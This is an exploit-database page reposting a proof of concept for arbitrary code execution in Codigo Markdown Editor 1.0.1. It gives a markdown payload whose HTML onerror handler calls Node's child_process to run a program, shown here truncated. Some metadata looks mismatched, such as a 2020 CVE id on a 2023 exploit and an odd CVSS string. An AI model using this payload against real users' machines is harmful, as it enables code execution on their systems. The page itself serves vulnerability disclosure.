Codigo Markdown Editor 1.0.1 Code Execution

CVE Category Price Severity
CVE-2020-12042 CWE-94 $500 High
Author Risk Exploitation Type Date
John Doe High Remote 2023-05-08
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.0156267 0.54704

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Codigo Markdown Editor 1.0.1 Code Execution
# Exploit Title: Codigo Markdown Editor v1.0.1 (Electron) - Arbitrary Code Execution
# Date: 2023-05-03
# Exploit Author: 8bitsec
# Vendor Homepage:
# Software Link:
# Version: 1.0.1
# Tested on: [Mac OS 13]

Release Date:

Product & Service Introduction:
A Markdown editor & notes app made with Vue & Electron

Technical Details & Description:

A vulnerability was discovered on Codigo markdown editor v1.0.1 allowing a =
user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):

Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following pay=
<video><source onerror=3D"alert(require('child_process').execSync('/System/=

Opening the file in Codigo will auto execute the Calculator application.

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.